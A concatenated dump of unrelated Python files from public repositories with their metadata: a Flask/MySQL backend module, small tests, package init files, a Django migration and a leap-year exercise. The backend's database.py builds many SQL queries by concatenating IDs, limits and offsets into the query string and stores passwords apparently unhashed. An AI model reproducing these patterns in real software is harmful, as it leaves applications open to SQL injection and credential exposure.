'models/misc/pir_m_prp_lev_cambarrier_plane'}},'1185470390.84kmuller': {'Type': 'Collision Barrier','DisableCollision': False,'Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(-18.653, -17.679, 11.718),'Scale': VBase3(1.0, 4.253, 1.264),'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_cube'}},'1185470441.36kmuller': {'Type': 'Collision Barrier','DisableCollision': False,'Hpr': VBase3(89.377, 0.0, 0.0),'Pos': Point3(-17.856, -29.514, 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py

Python

flask-backend/database.py

gvdijk/Project-Web-Mobile

5433a7329b93e7ddfe29fa20642ba97a932bf9ee

[ "MIT" ]

null

flask-backend/database.py

gvdijk/Project-Web-Mobile

5433a7329b93e7ddfe29fa20642ba97a932bf9ee

[ "MIT" ]

4

2021-03-09T04:56:38.000Z

2022-02-17T23:47:04.000Z

flask-backend/database.py

gvdijk/Project-Web-Mobile

5433a7329b93e7ddfe29fa20642ba97a932bf9ee

[ "MIT" ]

null

import mysql.connector from mysql.connector.pooling import MySQLConnectionPool connectionPool = None def init(user, password, host, database): global connectionPool dbconfig = { "host": host, "user": user, "password": password, "database": database } connectionPool = MySQLConnectionPool(pool_name='connection_pool', pool_size=10, pool_reset_session=True, **dbconfig) def getConnection(): return connectionPool.get_connection() # -----------------------------------------Login Related Functions--------------------------------------- # def getUserByName(name): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM user WHERE userDeleted = 0 AND userName = %s" data = (name,) cur.execute(sql, data) results = cur.fetchone() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results # -----------------------------------------User Related Functions---------------------------------------- # def getUserByID(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT userCreated, userID, userName, userPicture FROM user WHERE userDeleted = 0 AND userID = " + id cur.execute(sql) results = cur.fetchone() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getUserInfo(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT userCreated, userID, userName, userPicture FROM user WHERE userDeleted = 0 AND userID = " + id cur.execute(sql) results = cur.fetchone() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def addUser(name, password): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "INSERT INTO user(userName, userPass) VALUES(%s, %s)" data = (name, password) cur.execute(sql, data) connection.commit() lastID = cur.lastrowid cur.close() connection.close() return getUserByID(str(lastID)) def getUserProjects(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM projectuser WHERE projectuserDeleted = 0 AND User_userID = " + id cur.execute(sql) results = cur.fetchall() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getUserPosts(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM post WHERE postDeleted = 0 AND postUser = " + id cur.execute(sql) results = cur.fetchall() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getUserComments(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM comment WHERE commentDeleted = 0 AND NOT commentState = 'DELETED' AND commentUser = " + id cur.execute(sql) results = cur.fetchall() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getUser(name, limit, offset): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT userID, userName, userPicture, userCreated FROM user "\ "WHERE userDeleted = 0" data = () if (name is not None): sql += " AND userName LIKE %s" data = data + ("%" + name + "%",) if limit is not None: sql += " ORDER BY userName LIMIT " + limit if offset is not None: sql += " OFFSET " + offset else: sql += " ORDER BY userName" cur.execute(sql, data) results = cur.fetchall() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def updateUser(id, name, password): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "UPDATE user SET userName = %s, userPass = %s WHERE userID = " + id data = (name, password) cur.execute(sql, data) connection.commit() user = getUserByID(id) cur.close() connection.close() return user def deleteUser(id): connection = getConnection() cur = connection.cursor(dictionary=True) try: sql = "UPDATE user SET userDeleted = true WHERE userID = " + id cur.execute(sql) connection.commit() cur.close() connection.close() return True except Exception as e: cur.close() connection.close() print(e) return False # ---------------------------------------Project Related Functions--------------------------------------- # def addProject(name, description, visibility, owner): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "INSERT INTO project(projectName, projectDescription, projectVisibility, projectOwner) VALUES(%s, %s, %s, %s)" data = (name, description, visibility, owner) cur.execute(sql, data) connection.commit() lastID = cur.lastrowid cur.close() connection.close() return getProjectByID(str(lastID)) def addProjectPost(title, content, owner, projectID): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "INSERT INTO post(postTitle, postContent, postUser, postProject) VALUES(%s, %s, %s, %s)" data = (title, content, owner, projectID) cur.execute(sql, data) connection.commit() lastID = cur.lastrowid cur.close() connection.close() return getPostByID(str(lastID)) def addProjectUser(userID, projectID, role): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "INSERT INTO projectuser(User_userID, Project_projectID, projectuserRole) VALUES(%s, %s, %s)" data = (userID, projectID, role) cur.execute(sql, data) connection.commit() lastID = cur.lastrowid cur.close() connection.close() return getProjectUserByID(str(lastID), str(projectID)) def getProjectsCount(name): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT count(*) as count FROM project "\ "WHERE projectDeleted = 0 AND (projectVisibility = 'PUBLIC' OR projectVisibility = 'RESTRICTED')" data = () if (name is not None): sql += " AND projectName LIKE %s" data = data + ("%" + name + "%",) sql += " ORDER BY projectName" cur.execute(sql, data) results = cur.fetchone() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getProjects(name, limit, offset): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM project "\ "WHERE projectDeleted = 0 AND (projectVisibility = 'PUBLIC' OR projectVisibility = 'RESTRICTED')" data = () if (name is not None): sql += " AND projectName LIKE %s" data = data + ("%" + name + "%",) if limit is not None: sql += " ORDER BY projectCreated DESC LIMIT " + limit if offset is not None: sql += " OFFSET " + offset else: sql += " ORDER BY projectCreated DESC" cur.execute(sql, data) results = cur.fetchall() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getProjectByID(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM project WHERE projectDeleted = 0 AND projectID = " + id cur.execute(sql) results = cur.fetchone() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getProjectUsers(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM projectuser WHERE projectuserDeleted = 0 AND Project_projectID = " + id cur.execute(sql) results = cur.fetchall() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getProjectUserByID(userID, projectID): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM projectuser WHERE projectuserDeleted = 0 AND Project_projectID = %s AND User_userID = %s" data = (projectID, userID) cur.execute(sql,data) results = cur.fetchone() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getProjectPostsCount(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT count(*) as count FROM post WHERE postDeleted = 0 AND postProject = " + id cur.execute(sql) results = cur.fetchone() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def getProjectPosts(id, limit, offset): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM post WHERE postDeleted = 0 AND postProject = " + id if limit is not None: sql += " ORDER BY postCreated LIMIT " + limit if offset is not None: sql += " OFFSET " + offset else: sql += " ORDER BY postCreated" cur.execute(sql) results = cur.fetchall() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def updateProject(id, title, content, visibility): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "UPDATE project SET projectName = %s, projectDescription = %s, projectVisibility = %s WHERE projectID = " + id data = (title, content, visibility) cur.execute(sql, data) connection.commit() project = getProjectByID(id) cur.close() connection.close() return project def updateProjectUser(projectID, userID, role): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "UPDATE projectuser SET projectuserRole = %s WHERE User_userID = %s AND Project_projectID = %s" data = (role,userID,projectID,) cur.execute(sql, data) connection.commit() sql = "SELECT * FROM projectuser WHERE projectuserDeleted = 0 AND Project_projectID = %s AND User_userID = %s" data = (projectID,userID,) cur.execute(sql, data) result = cur.fetchone() cur.close() connection.close() return result def deleteProject(id): connection = getConnection() cur = connection.cursor(dictionary=True) try: sql = "UPDATE project SET projectDeleted = true WHERE projectID = " + id cur.execute(sql) connection.commit() cur.close() connection.close() return True except Exception as e: cur.close() connection.close() print(e) return False def deleteProjectUser(projectID, userID): connection = getConnection() cur = connection.cursor(dictionary=True) try: sql = "DELETE FROM projectuser WHERE Project_projectID = %s AND User_userID = %s" data = (projectID,userID) cur.execute(sql,data) connection.commit() cur.close() connection.close() return True except Exception as e: cur.close() connection.close() print(e) return False # -----------------------------------------Post Related Functions---------------------------------------- # def addPostComment(content, parentID, userID, id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "INSERT INTO comment(commentContent, commentUser, commentParent, commentPost) VALUES(%s, %s, %s, %s)" data = (content,userID,parentID,id) cur.execute(sql, data) connection.commit() lastID = cur.lastrowid cur.close() connection.close() return getCommentByID(str(lastID)) def getPostByID(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM post WHERE postDeleted = 0 AND postID = " + id cur.execute(sql) results = cur.fetchone() cur.close() connection.close() if results is not None: project = getProjectByID(str(results['postProject'])) if project is None: results = None if (results is not None and len(results) == 0): return None else: return results def getPostComments(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM comment WHERE commentDeleted = 0 AND commentPost = " + id cur.execute(sql) results = cur.fetchall() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def updatePost(id, content): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "UPDATE post SET postContent = %s WHERE postID = " + id data = (content,) cur.execute(sql, data) connection.commit() result = getPostByID(id) cur.close() connection.close() return result def deletePost(id): connection = getConnection() cur = connection.cursor(dictionary=True) try: sql = "UPDATE post SET postDeleted = true WHERE postID = " + id cur.execute(sql) connection.commit() cur.close() connection.close() return True except Exception as e: cur.close() connection.close() print(e) return False def deltePostComments(id): connection = getConnection() cur = connection.cursor(dictionary=True) try: sql = "UPDATE comment SET commentDeleted = true WHERE commentPost = " + id cur.execute(sql) connection.commit() cur.close() connection.close() return True except Exception as e: cur.close() connection.close() print(e) return False # ---------------------------------------Comment Related Functions--------------------------------------- # def getCommentByID(id): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "SELECT * FROM comment WHERE commentDeleted = 0 AND commentID = " + id cur.execute(sql) results = cur.fetchone() cur.close() connection.close() if (results is not None and len(results) == 0): return None else: return results def updateComment(id, content): connection = getConnection() cur = connection.cursor(dictionary=True) sql = "UPDATE comment SET commentContent = %s, commentEdited = current_timestamp() WHERE commentID = " + id data = (content,) cur.execute(sql, data) connection.commit() cur.execute("SELECT * FROM comment WHERE commentDeleted = 0 AND commentID = " + id) result = cur.fetchone() cur.close() connection.close() return result def deleteComment(id): connection = getConnection() cur = connection.cursor(dictionary=True) try: sql = "UPDATE comment SET commentContent = 'Deze reactie is verwijderd', commentState = 'DELETED' WHERE commentID = " + id cur.execute(sql) connection.commit() cur.close() connection.close() return True except Exception as e: cur.close() connection.close() print(e) return False

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1ca114af0fa1c21bf0564af2fcf7a1467936ae19

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py

Python

oommffield/__init__.py

joommf-attic/oommffield

95a6e1c2d795f884748d33c90134c18d8aeb73a2

[ "BSD-2-Clause" ]

1

2016-08-08T14:47:38.000Z

oommffield/__init__.py

joommf/oommffield

95a6e1c2d795f884748d33c90134c18d8aeb73a2

[ "BSD-2-Clause" ]

1

2018-04-26T15:42:54.000Z

2018-04-30T18:07:31.000Z

oommffield/__init__.py

joommf-attic/oommffield

95a6e1c2d795f884748d33c90134c18d8aeb73a2

[ "BSD-2-Clause" ]

null

from .oommffield import Field, read_oommf_file

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195

py

Python

test/python/topology/test_common_namespace/package1/common_namespace/module1.py

Jaimie-Jin1/streamsx.topology

6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08

[ "Apache-2.0" ]

31

2015-06-24T06:21:14.000Z

2020-08-28T21:45:50.000Z

test/python/topology/test_common_namespace/package1/common_namespace/module1.py

Jaimie-Jin1/streamsx.topology

6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08

[ "Apache-2.0" ]

1,203

2015-06-15T02:11:49.000Z

2021-03-22T09:47:54.000Z

test/python/topology/test_common_namespace/package1/common_namespace/module1.py

Jaimie-Jin1/streamsx.topology

6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08

[ "Apache-2.0" ]

53

2015-05-28T21:14:16.000Z

2021-12-23T12:58:59.000Z

# Licensed Materials - Property of IBM # Copyright IBM Corp. 2016 class SourceTuples: def __init__(self, tuples=[]): self.tuples = tuples def __call__(self): return self.tuples

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py

Python

src/app/forms/__init__.py

schwetzen/liblr

408235a4f539a05f54f0376dbf9dbcd83957db03

[ "Apache-2.0" ]

null

src/app/forms/__init__.py

schwetzen/liblr

408235a4f539a05f54f0376dbf9dbcd83957db03

[ "Apache-2.0" ]

1

2018-12-07T22:15:28.000Z

src/app/forms/__init__.py

schwetzen/liblr

408235a4f539a05f54f0376dbf9dbcd83957db03

[ "Apache-2.0" ]

2

2018-12-07T20:59:53.000Z

2018-12-17T21:02:21.000Z

from app.forms.auth import RegisterForm from app.forms.readingtip import ReadingTipCreateForm, ReadingTipUpdateForm

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1c4c682149faba9396186e89a135bf56202c82c5

689

py

Python

test/test_element_type.py

gleb-svechnikov/GcodeParser

36a36ef935b3570f8ca7cece70a4eb0900f8c8c1

[ "MIT" ]

2

2021-12-04T01:24:42.000Z

2022-03-11T09:29:24.000Z

test/test_element_type.py

gleb-svechnikov/GcodeParser

36a36ef935b3570f8ca7cece70a4eb0900f8c8c1

[ "MIT" ]

3

2021-02-12T23:56:07.000Z

2021-06-24T09:45:40.000Z

test/test_element_type.py

gleb-svechnikov/GcodeParser

36a36ef935b3570f8ca7cece70a4eb0900f8c8c1

[ "MIT" ]

3

2021-06-16T21:26:43.000Z

2021-12-04T01:37:04.000Z

from gcodeparser.gcode_parser import ( element_type, ) def test_element_type_int(): assert element_type('109321') == int def test_element_type_neg_int(): assert element_type('-109321') == int def test_element_type_float(): assert element_type('109321.0') == float def test_element_type_float2(): assert element_type('109321.012345') == float def test_element_type_neg_float(): assert element_type('-1.0') == float def test_element_type_neg_float2(): assert element_type('-1.013456') == float def test_element_type_str(): assert element_type('192.168.0.1') == str def test_element_type_str2(): assert element_type('"test string"') == str

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98c48d842cc8b861f9856bec283fac932d83023f

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py

Python

rvpvp/isa/__init__.py

ultrafive/riscv-pvp

843e38422c3d545352b955764927d5e7847e5453

[ "Unlicense" ]

5

2021-05-10T09:57:00.000Z

2021-10-05T14:39:20.000Z

rvpvp/isa/__init__.py

ultrafive/riscv-pvp

843e38422c3d545352b955764927d5e7847e5453

[ "Unlicense" ]

null

rvpvp/isa/__init__.py

ultrafive/riscv-pvp

843e38422c3d545352b955764927d5e7847e5453

[ "Unlicense" ]

1

2021-05-14T20:24:11.000Z

from .rvi import * from .rvm import * from .rvf import * from .rvc import * from .rvv import *

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py

Python

nexoclom/modelcode/__init__.py

mburger-stsci/NExoCloM

c0c81eeb04c5571662f3d86337d84a18f1cd0dcf

[ "BSD-3-Clause" ]

null

nexoclom/modelcode/__init__.py

mburger-stsci/NExoCloM

c0c81eeb04c5571662f3d86337d84a18f1cd0dcf

[ "BSD-3-Clause" ]

null

nexoclom/modelcode/__init__.py

mburger-stsci/NExoCloM

c0c81eeb04c5571662f3d86337d84a18f1cd0dcf

[ "BSD-3-Clause" ]

1

2018-11-23T20:55:33.000Z

from nexoclom.modelcode.Input import Input from nexoclom.modelcode.Output import Output from nexoclom.modelcode.LOSResult import LOSResult from nexoclom.modelcode.ModelImage import ModelImage

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c72d21a0f597edf318e575dca5ff141ef883b00b

166

py

Python

product/product_quantity.py

saiihamza/open_data_parsing

6757c6c6823a0523ca1d2af79e99b761b57a794d

[ "Apache-2.0" ]

null

product/product_quantity.py

saiihamza/open_data_parsing

6757c6c6823a0523ca1d2af79e99b761b57a794d

[ "Apache-2.0" ]

null

product/product_quantity.py

saiihamza/open_data_parsing

6757c6c6823a0523ca1d2af79e99b761b57a794d

[ "Apache-2.0" ]

null

class ProductQuantity(object): def __init__(self, str_quantity): self.StrQuantity = str_quantity def __str__(self): return self.StrQuantity

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c737cce3e4f31e689313aeb49525ae650d73d35b

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py

Python

declare_qtquick/widgets/api/qt/labs/folderlistmodel/__init__.py

likianta/declare-qtquick

93c2ce49d841ccdeb0272085c5f731139927f0d7

[ "MIT" ]

3

2021-11-02T03:45:27.000Z

2022-03-27T05:33:36.000Z

declare_qtquick/widgets/api/qt/labs/folderlistmodel/__init__.py

likianta/declare-qtquick

93c2ce49d841ccdeb0272085c5f731139927f0d7

[ "MIT" ]

null

declare_qtquick/widgets/api/qt/labs/folderlistmodel/__init__.py

likianta/declare-qtquick

93c2ce49d841ccdeb0272085c5f731139927f0d7

[ "MIT" ]

null

from __declare_qtquick_internals__ import qml_imports qml_imports.add("Qt.labs.folderlistmodel") from .__list__ import * # noqa

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6

c763a9dc6d8bcd0dbfdc07487d21e32a6862cad1

14,657

py

Python

indicators/migrations/0002_auto_20200215_0114.py

mikael19/activity

3932de42d9b423bff5739f7e06520035df213fc6

[ "Apache-2.0" ]

60

2020-02-13T17:20:43.000Z

2022-03-12T19:26:04.000Z

indicators/migrations/0002_auto_20200215_0114.py

mikael19/activity

3932de42d9b423bff5739f7e06520035df213fc6

[ "Apache-2.0" ]

449

2020-02-12T22:18:00.000Z

2022-03-11T23:36:59.000Z

indicators/migrations/0002_auto_20200215_0114.py

mikael19/activity

3932de42d9b423bff5739f7e06520035df213fc6

[ "Apache-2.0" ]

31

2020-03-07T21:00:54.000Z

2021-07-14T18:37:34.000Z

# Generated by Django 2.2.10 on 2020-02-15 09:14 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('indicators', '0001_initial'), ('workflow', '0001_initial'), ] operations = [ migrations.AddField( model_name='strategicobjective', name='country', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='workflow.Country'), ), migrations.AddField( model_name='strategicobjective', name='organization', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='workflow.Organization'), ), migrations.AddField( model_name='strategicobjective', name='parent', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='children', to='indicators.StrategicObjective'), ), migrations.AddField( model_name='reportingperiod', name='frequency', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='indicators.ReportingFrequency'), ), migrations.AddField( model_name='periodictarget', name='indicator', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='indicators.Indicator'), ), migrations.AddField( model_name='objective', name='parent', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='children', to='indicators.Objective'), ), migrations.AddField( model_name='objective', name='program', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='workflow.Program'), ), migrations.AddField( model_name='indicator', name='approval_submitted_by', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='indicator_submitted_by', to='workflow.ActivityUser'), ), migrations.AddField( model_name='indicator', name='approved_by', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='approving_indicator', to='workflow.ActivityUser'), ), migrations.AddField( model_name='indicator', name='data_collection_frequency', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, to='indicators.DataCollectionFrequency', verbose_name='Data collection frequency'), ), migrations.AddField( model_name='indicator', name='disaggregation', field=models.ManyToManyField(blank=True, related_name='indicator_disaggregation_types', to='indicators.DisaggregationType'), ), migrations.AddField( model_name='indicator', name='external_service_record', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, to='indicators.ExternalServiceRecord', verbose_name='External Service ID'), ), migrations.AddField( model_name='indicator', name='indicator_type', field=models.ManyToManyField(blank=True, help_text=' ', to='indicators.IndicatorType'), ), migrations.AddField( model_name='indicator', name='level', field=models.ManyToManyField(blank=True, help_text=' ', to='indicators.Level'), ), migrations.AddField( model_name='indicator', name='objectives', field=models.ManyToManyField(blank=True, help_text=' ', related_name='obj_indicator', to='indicators.Objective', verbose_name='Objective'), ), migrations.AddField( model_name='indicator', name='program', field=models.ManyToManyField(help_text=' ', to='workflow.Program'), ), migrations.AddField( model_name='indicator', name='reporting_frequency', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, to='indicators.ReportingFrequency', verbose_name='Reporting frequency'), ), migrations.AddField( model_name='indicator', name='sector', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, to='workflow.Sector'), ), migrations.AddField( model_name='indicator', name='strategic_objectives', field=models.ManyToManyField(blank=True, help_text=' ', related_name='strat_indicator', to='indicators.StrategicObjective', verbose_name='Strategic objective'), ), migrations.AddField( model_name='historicalindicator', name='approval_submitted_by', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='workflow.ActivityUser'), ), migrations.AddField( model_name='historicalindicator', name='approved_by', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='workflow.ActivityUser'), ), migrations.AddField( model_name='historicalindicator', name='data_collection_frequency', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='indicators.DataCollectionFrequency', verbose_name='Data collection frequency'), ), migrations.AddField( model_name='historicalindicator', name='external_service_record', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='indicators.ExternalServiceRecord', verbose_name='External Service ID'), ), migrations.AddField( model_name='historicalindicator', name='history_user', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='historicalindicator', name='reporting_frequency', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='indicators.ReportingFrequency', verbose_name='Reporting frequency'), ), migrations.AddField( model_name='historicalindicator', name='sector', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='workflow.Sector'), ), migrations.AddField( model_name='historicalcollecteddata', name='activity_table', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='indicators.ActivityTable'), ), migrations.AddField( model_name='historicalcollecteddata', name='agreement', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='workflow.ProjectAgreement', verbose_name='Project Initiation'), ), migrations.AddField( model_name='historicalcollecteddata', name='approved_by', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='workflow.ActivityUser', verbose_name='Originated By'), ), migrations.AddField( model_name='historicalcollecteddata', name='complete', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='workflow.ProjectComplete'), ), migrations.AddField( model_name='historicalcollecteddata', name='evidence', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='workflow.Documentation', verbose_name='Evidence Document or Link'), ), migrations.AddField( model_name='historicalcollecteddata', name='history_user', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='historicalcollecteddata', name='indicator', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='indicators.Indicator'), ), migrations.AddField( model_name='historicalcollecteddata', name='periodic_target', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='indicators.PeriodicTarget'), ), migrations.AddField( model_name='historicalcollecteddata', name='program', field=models.ForeignKey(blank=True, db_constraint=False, help_text=' ', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='workflow.Program'), ), migrations.AddField( model_name='externalservicerecord', name='external_service', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='indicators.ExternalService'), ), migrations.AddField( model_name='disaggregationvalue', name='disaggregation_label', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='indicators.DisaggregationLabel'), ), migrations.AddField( model_name='disaggregationtype', name='country', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='workflow.Country'), ), migrations.AddField( model_name='disaggregationlabel', name='disaggregation_type', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='disaggregation_label', to='indicators.DisaggregationType'), ), migrations.AddField( model_name='collecteddata', name='activity_table', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, to='indicators.ActivityTable'), ), migrations.AddField( model_name='collecteddata', name='agreement', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='q_agreement2', to='workflow.ProjectAgreement', verbose_name='Project Initiation'), ), migrations.AddField( model_name='collecteddata', name='approved_by', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='approving_data', to='workflow.ActivityUser', verbose_name='Originated By'), ), migrations.AddField( model_name='collecteddata', name='complete', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='q_complete2', to='workflow.ProjectComplete'), ), migrations.AddField( model_name='collecteddata', name='disaggregation_value', field=models.ManyToManyField(blank=True, help_text=' ', to='indicators.DisaggregationValue'), ), migrations.AddField( model_name='collecteddata', name='evidence', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, to='workflow.Documentation', verbose_name='Evidence Document or Link'), ), migrations.AddField( model_name='collecteddata', name='indicator', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, to='indicators.Indicator'), ), migrations.AddField( model_name='collecteddata', name='periodic_target', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, to='indicators.PeriodicTarget'), ), migrations.AddField( model_name='collecteddata', name='program', field=models.ForeignKey(blank=True, help_text=' ', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='i_program', to='workflow.Program'), ), migrations.AddField( model_name='collecteddata', name='site', field=models.ManyToManyField(blank=True, help_text=' ', to='workflow.SiteProfile'), ), migrations.AddField( model_name='activitytable', name='country', field=models.ManyToManyField(blank=True, to='workflow.Country'), ), migrations.AddField( model_name='activitytable', name='owner', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='workflow.ActivityUser'), ), ]

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null

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6

c799bd601ff7c758892430bc486153c9beeec9b6

125

py

Python

Introduction/Write a function.py

Code-With-Aagam/python-hackerrank

270c75cf2ca30916183c7fe5ca130a64c7a8ed6d

[ "MIT" ]

3

2022-03-05T15:38:26.000Z

2022-03-09T13:39:30.000Z

Introduction/Write a function.py

Code-With-Aagam/python-hackerrank

270c75cf2ca30916183c7fe5ca130a64c7a8ed6d

[ "MIT" ]

null

Introduction/Write a function.py

Code-With-Aagam/python-hackerrank

270c75cf2ca30916183c7fe5ca130a64c7a8ed6d

[ "MIT" ]

null

import calendar # Don't reinvent the wheel def is_leap(year): # Write your logic here return calendar.isleap(year)

31.25

43

0.72

19

125

4.684211

0.894737

0

0.208

125

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44

31.25

0.89899

0.368

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0.333333

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null

0

1

0

null

0

1

0

1

0

6

c7adb1e495d2cb961e163ef20e979fdb660c4439

192

py

Python

cvrapi_client/exceptions.py

cliisberg/cvrapi-python-client

17582ca56cba322e2146e433db62a57b2d5bcb24

[ "MIT" ]

null

cvrapi_client/exceptions.py

cliisberg/cvrapi-python-client

17582ca56cba322e2146e433db62a57b2d5bcb24

[ "MIT" ]

null

cvrapi_client/exceptions.py

cliisberg/cvrapi-python-client

17582ca56cba322e2146e433db62a57b2d5bcb24

[ "MIT" ]

null

class ApiError(Exception): def __init__(self, error, status_code): self.message = error self.status_code = status_code def __str__(self): return self.message

21.333333

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0.65625

23

192

5

0.521739

0.26087

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0.260417

192

8

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0

1

0

null

0

1

0

1

0

6

c7b00e93508068c64d3d5b09018cb0555cc8dd06

78

py

Python

mol/tests/test_util2.py

TzuTingWei/mol

9499925443f389d8e960b6d656f2953d21df3e3b

[ "MIT" ]

null

mol/tests/test_util2.py

TzuTingWei/mol

9499925443f389d8e960b6d656f2953d21df3e3b

[ "MIT" ]

null

mol/tests/test_util2.py

TzuTingWei/mol

9499925443f389d8e960b6d656f2953d21df3e3b

[ "MIT" ]

null

import mol def test_distance(): assert mol.util.distance([0,1], [0,2]) == 1

15.6

44

0.653846

14

78

3.571429

0.714286

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0.074627

0.141026

78

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19.5

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0.333333

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null

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1

0

null

0

1

0

1

0

1

0

6

